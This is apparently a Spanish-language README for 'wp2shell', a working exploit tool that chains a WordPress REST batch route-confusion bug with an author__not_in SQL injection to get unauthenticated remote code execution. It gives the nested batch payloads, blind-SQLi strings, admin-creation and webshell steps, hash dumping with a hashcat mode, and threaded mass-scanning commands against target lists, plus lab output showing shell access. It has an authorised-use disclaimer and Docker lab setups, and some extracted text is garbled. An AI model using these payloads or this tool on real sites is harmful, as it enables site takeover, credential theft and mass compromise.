
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE no autenticado en el núcleo de WordPress
Confusión de rutas del lote de la API REST (CVE-2026-63030) encadenada con una inyección SQL en
WP_Queryauthor__not_in(CVE-2026-60137) → ejecución remota de código pre-autenticación contra una instalación predeterminada de WordPress.Descubierto por Adam Kues (Assetnote / Searchlight Cyber), divulgado el 2026-07-17. Avisos: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| Cadena (RCE sin autenticación) | WordPress 6.9.0 - 6.9.4 y 7.0.0 - 7.0.1 |
| Solo SQLi (necesita un plugin/tema facilitador) | 6.8.0 - 6.8.5 |
| No afectado | ≤ 6.8 para la confusión del lote; 6.9.5 / 7.0.2 / 7.1-beta2 (parcheado) |
| Precondiciones | API REST accesible; sin caché de objetos persistente (Redis/Memcached); ≥1 entrada publicada |
| Autenticación requerida | ninguna |
| Impacto | sin autenticación → crear un nuevo administrador → ejecución de código (la SQLi también extrae el hash del administrador) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests y sin funciones rotas.shell sin credenciales forja un WP_Post falso mediante la confusión UNION de una sola entrada, tiende un puente hacia el personalizador para crear un administrador nuevo (POST /wp/v2/users), inicia sesión y despliega un webshell protegido por token. El volcado del hash del administrador por SQLi (read --preset users) se mantiene como segunda vía verificada.block_cannot_read) usado como check principal no destructivo.sqli) que los demás PoCs no tienen.$wp$2y$ ().wp2shell/
├── README.md ← you are here
├── wp2shell.py ← the unified PoC (single file, stdlib only, by 0xsha)
└── lab/ ← reproducible Docker labs + reliability matrix
├── docker-compose.yml (default 6.9.4 lab)
├── docker-compose.matrix.yml (parameterised: any version × MySQL/MariaDB)
├── docker-compose.sqli.yml (6.8.3 "SQLi only" lab)
├── matrix.sh (runs the whole reliability matrix)
└── sqli-only/facilitator.php (mu-plugin: the 6.8.x facilitating sink)
Los seis PoCs públicos de los que se nutre esta herramienta no se incluyen aquí; están enlazados en Créditos.
Todo lo que sigue fue verificado en el laboratorio Docker local (consulta §4); las afirmaciones que no se ejecutaron en el laboratorio están etiquetadas como tales.
La cadena suelda dos errores independientes. Los números de línea provienen del código fuente real de WordPress 6.9.4 (extraído de wordpress:6.9.4-apache).
author__not_in (CVE-2026-60137)wp-includes/class-wp-query.php, WP_Query::get_posts():
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← guard only fires for ARRAYS
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← string passes straight through
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← raw interpolation
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint INSIDE implode
Un author__not_in de tipo cadena se salta la protección is_array() (2404); implode(',', (array)"…") lo devuelve sin cambios (2408) y se concatena en bruto al SQL (2409). El hermano author__in (2415) vuelve a aplicar array_map('absint', …) dentro del implode y es seguro: ese array_map que falta es el error. El valor acaba como ... post_author NOT IN (<valor>) ..., por lo que 0) <sql>-- - cierra la lista y añade SQL.
Conseguir que llegue una cadena hasta ahí es la parte difícil: el endpoint REST de entradas asigna author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) pero lo declara como 'type' => 'array' de enteros, por lo que el núcleo fuerza/rechaza una cadena:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (verified on 6.8.3)
Por eso el error A por sí solo es únicamente "facilitado". El error B introduce de contrabando la cadena sorteando la validación en 6.9+.
wp-includes/rest-api/class-wp-rest-server.php, serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // a bad path becomes a WP_Error IN $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← pushed to $validation …
1753 continue; // ← … but $matches is SKIPPED
1754 }
1757 $matches[] = $match; // ← $matches only grows for VALID requests
1825 foreach ( $requests as $i => $single_request ) { // indexed by position in $requests
1841 $match = $matches[ $i ]; // ← $matches is SHORTER → +1 shift
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
Una sub-petición WP_Error se inserta en $validation[] (1752) pero no en $matches[] (el continue en 1753 se salta la línea 1757), por lo que $matches se queda corto y $matches[$i] (1841) contiene el handler de la siguiente petición. La petición i se despacha con el handler de la petición i+1, llevando sus propios parámetros y su propio veredicto de validación (superada).
Origen de la regresión (verificado en el diff 6.8.3 → 6.9.4): en 6.8.3, el bucle inserta $matches[] = $match para todas las peticiones y las rutas incorrectas se descartan en el primer bucle: los arrays permanecen alineados, sin desincronización. La refactorización de 6.9.0 introdujo el desplazamiento. Es exactamente por eso que 6.8.x es "solo SQLi" y la cadena de RCE comienza en 6.9.0.
El parche añade $matches[] también para las entradas de error, refuerza la reentrada y analiza author__not_in con un auxiliar de listas de ID. (6.9.5 no estaba en Docker Hub cuando se hicieron las pruebas, así que esto proviene de los avisos, no de un diff de laboratorio.)
El esquema del lote solo permite sub-peticiones POST/PUT/PATCH/DELETE, pero get_items de las entradas (el sumidero author_exclude) es solo GET, por lo que la confusión se anida dos veces:
// OUTER batch → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] bad path → WP_Error → +1 shift
{"method":"POST","path":"/wp/v2/posts", // [1] carrier: validated as a posts CREATE →
"body": { /* INNER batch */ }}, // its `requests` body is never schema-checked
{"method":"POST","path":"/batch/v1", // [2] handler → [1] dispatched as serve_batch_request_v1
"body":{"requests":[]}} // (no permission_callback → unauthenticated)
]}
// INNER batch (GET now allowed):
// [0] POST /// WP_Error → inner +1 shift
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> users has no author_exclude → PAYLOAD passes untouched
// [2] GET /wp/v2/posts [2]'s handler = posts get_items → runs [1] → SQLi
/// es el cebador de desincronización (funciona cualquier ruta que wp_parse_url() rechace). La herramienta también incluye una versión --variant categories del mismo truco.
Una única sonda no destructiva e independiente de la versión confirma CVE-2026-63030 incluso cuando el sumidero de la SQLi está en caché de objetos o filtrado por un WAF: un lote de sub-peticiones POST en el que la desincronización hace que POST /wp/v2/posts sea respondida por la callback de permisos del block-renderer:
responses[1].code == "block_cannot_read" ← a permission error from a handler it never asked for
wp2shell.py check usa esta señal como principal (la forma estructural post-vs-term como respaldo). (Técnica de detección: Hadrian / Icex0.)
El valor se encuentra dentro de NOT IN (<valor>), un oráculo booleano limpio: 0) AND (<cond>)-- - devuelve filas si y solo si se cumple <cond>. La extracción es una búsqueda binaria carácter a carácter sobre ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (el COALESCE evita que un NULL cortocircuite y acabe en una lectura vacía).
Nota de laboratorio: el método basado en tiempo requiere cuidado. Un
0) OR SLEEP(n)-- -ingenuo no produce ningún retardo en una instalación predeterminada: las filas publicadas satisfacen la consulta primero y cortocircuitan elOR. La confirmación es un diferencial booleano determinista; el temporizado usa0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. Se observó 0,01 s frente a 3,04 s.
El RCE práctico no necesita contraseña ni crackeo. shell sin credenciales ejecuta la cadena completa; todo verificado en el laboratorio:
WP_Post falso. Una segunda variante de confusión alcanza una consulta limpia y apta para UNION: /wp/v2/posts/999999?orderby=none&per_page=500 se valida contra el esquema de elemento de una sola entrada (por lo que los parámetros solo de colección pasan sin comprobarse) y luego se desincroniza sobre el handler de la colección de entradas. orderby=none elimina el ORDER BY final y per_page=500 mantiene WP_Query en modo de filas completas, de modo que un UNION SELECT sobrevive como una fila wp_posts fabricada.oembed_cache + customize_changeset (cuyo user_id se fija al ID de un administrador existente, leído mediante la UNION) + . Al disparar el oEmbed, el changeset del personalizador se ejecuta .Alternativa anterior (--user/--password). read --preset users vuelca wp_users.user_pass (el $wp$2y$… de WordPress 6.9 = bcrypt sobre HMAC-SHA384; se crackea con hashcat -m 35500) y, a continuación, shell --user/--password inicia sesión con el texto plano recuperado. Es real, pero bcrypt lo hace lento, así que la cadena de creación de administrador anterior es la vía canónica.
6.8.x tiene el error A pero no el error B, y el núcleo fuerza author_exclude a un array de enteros, por lo que la SQLi solo es alcanzable mediante un plugin/tema facilitador que entregue a WP_Query una cadena en bruto. El subcomando sqli inyecta directamente en ese tipo de sumidero (basado en tiempo por defecto; booleano rápido con --true-contains). Demostrado contra el facilitador lab/sqli-only en 6.8.3.
wp2shell.pyUn solo archivo, Python 3.7+, solo biblioteca estándar. Transporte listo para producción en todos los comandos: --insecure (TLS autofirmado), -H 'K: V' (repetible), --user-agent, --proxy, --retries, --delay.
check fingerprint + confusion marker + confirm the SQLi (non-destructive)
read read the DB via blind SQLi (--preset fingerprint|users | --query "SELECT …")
shell RCE: admin login → token-gated plugin webshell → run commands (-i for a REPL)
sqli author__not_in SQLi against a direct/facilitated sink (6.8.x, or any plugin sink)
scan threaded vuln-check over a single URL OR a .txt list (--prove, --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # logins + $wp$2y$ hashes (+ hashcat hint)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # crack-free: creates an admin, then webshell
./wp2shell.py shell https://target -i # interactive shell
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # or reuse an existing admin
./wp2shell.py scan https://target --prove # single URL, extract @@version as proof
./wp2shell.py scan targets.txt --threads 10 --json out.json # a .txt of targets
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# prod knobs: self-signed TLS, WAF header, Burp, rate-limit
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# default vulnerable lab (WordPress 6.9.4 + MariaDB), http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # wait for "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # full version × DB matrix
# "SQLi only" lab (6.8.3 + facilitating mu-plugin), http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
El administrador del laboratorio es admin / Admin!2345: texto plano conocido únicamente para que el laboratorio pueda demostrar el shell posterior a la autenticación; un atacante real recupera el hash y lo crackea.
El alcance de la BD se limita a MySQL y MariaDB: el núcleo de WordPress no usa ningún otro motor en producción (sin driver de PostgreSQL/MSSQL; SQLite solo mediante un plugin poco habitual).
Todos los comandos se ejecutaron en el laboratorio: check (marcador block_cannot_read + booleano + tiempo), read (fingerprint / users / --query), shell (creación de administrador sin crackeo → inicio de sesión → webshell → uid=33(www-data), además de --user/--password y REPL interactivo), sqli (booleano + tiempo), scan (URL única + .txt + --json + --prove), el payload --variant categories, la auto-detección de endpoint (/wp-json/ + ) y las banderas de transporte.
$ ./wp2shell.py check http://localhost:8080
[+] Batch endpoint reachable and unauthenticated (HTTP 207) at http://localhost:8080/wp-json/batch/v1
[+] Route confusion ACTIVE - categories request answered by the block-renderer handler (block_cannot_read); CVE-2026-63030 confirmed.
[+] SQL injection CONFIRMED - boolean-blind differential over author__not_in (CVE-2026-60137).
[+] Time-based channel also confirmed - baseline 0.02s vs injected 3.04s.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] crack the $wp$2y$ hashes with: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] No credentials supplied - creating a fresh administrator pre-auth (no hash, no crack) ...
[+] Administrator created: wp2_950eeb3deda8 / Wp2!... (borrowed admin id 1)
[+] Authenticated.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read), VulnCheck.wp2shell.py, sin copiar código textualmente):
WP_Post falso mediante la confusión de rutas de una sola entrada, orquestar un grafo de oembed_cache + customize_changeset (user_id=admin) + para que el personalizador se ejecute como un administrador existente y, después, para crear un administrador nuevo.Solo para pruebas de seguridad autorizadas y fines educativos: sistemas que te pertenezcan o cuyo testeo tengas autorizado por escrito. Toda la explotación aquí descrita se ejecutó contra un laboratorio Docker local y desechable; el webshell está protegido por token y el comando predeterminado es benigno. Eres responsable del uso que le des a esto.
-m 35500nav_menu_itemPOST /wp/v2/users con roles:["administrator"] ahora tiene éxito bajo el contexto de administrador prestado, y aparece un nuevo administrador wp2_* en wp_users (verificado: una nueva fila de administrador).update.php?action=upload-plugin y ejecuta comandos. Verificado: uid=33(www-data).| WordPress | Motor de BD | Vía | check | Datos extraídos |
|---|
| 6.9.4 | MariaDB 11 | cadena de lote | ✅ RCE completo | hash de administrador $wp$2y$… + @@version |
| 7.0.1 | MariaDB 11 | cadena de lote | ✅ RCE completo | hash de administrador |
| 6.9.4 | MySQL 8.4 | cadena de lote | ✅ RCE completo | hash de administrador (payloads portables) |
| 6.8.3 | MariaDB 11 | cadena de lote | ⛔ 207 pero sin confusión | - (coincide con el aviso) |
| 6.8.3 | MariaDB 11 | sqli facilitado | ✅ CVE-2026-60137 | @@version, usuario, BD: booleano y basado en tiempo |
?rest_route=nav_menu_itemPOST /wp/v2/usersunion_inject, UnionSQLi, PreAuthAdminCreator), el detector del marcador block_cannot_read, la extracción COALESCE a prueba de NULL y el temporizado resistente al jitter.$wp$2y$ → hashcat -m 35500): hashpwn / hashcat.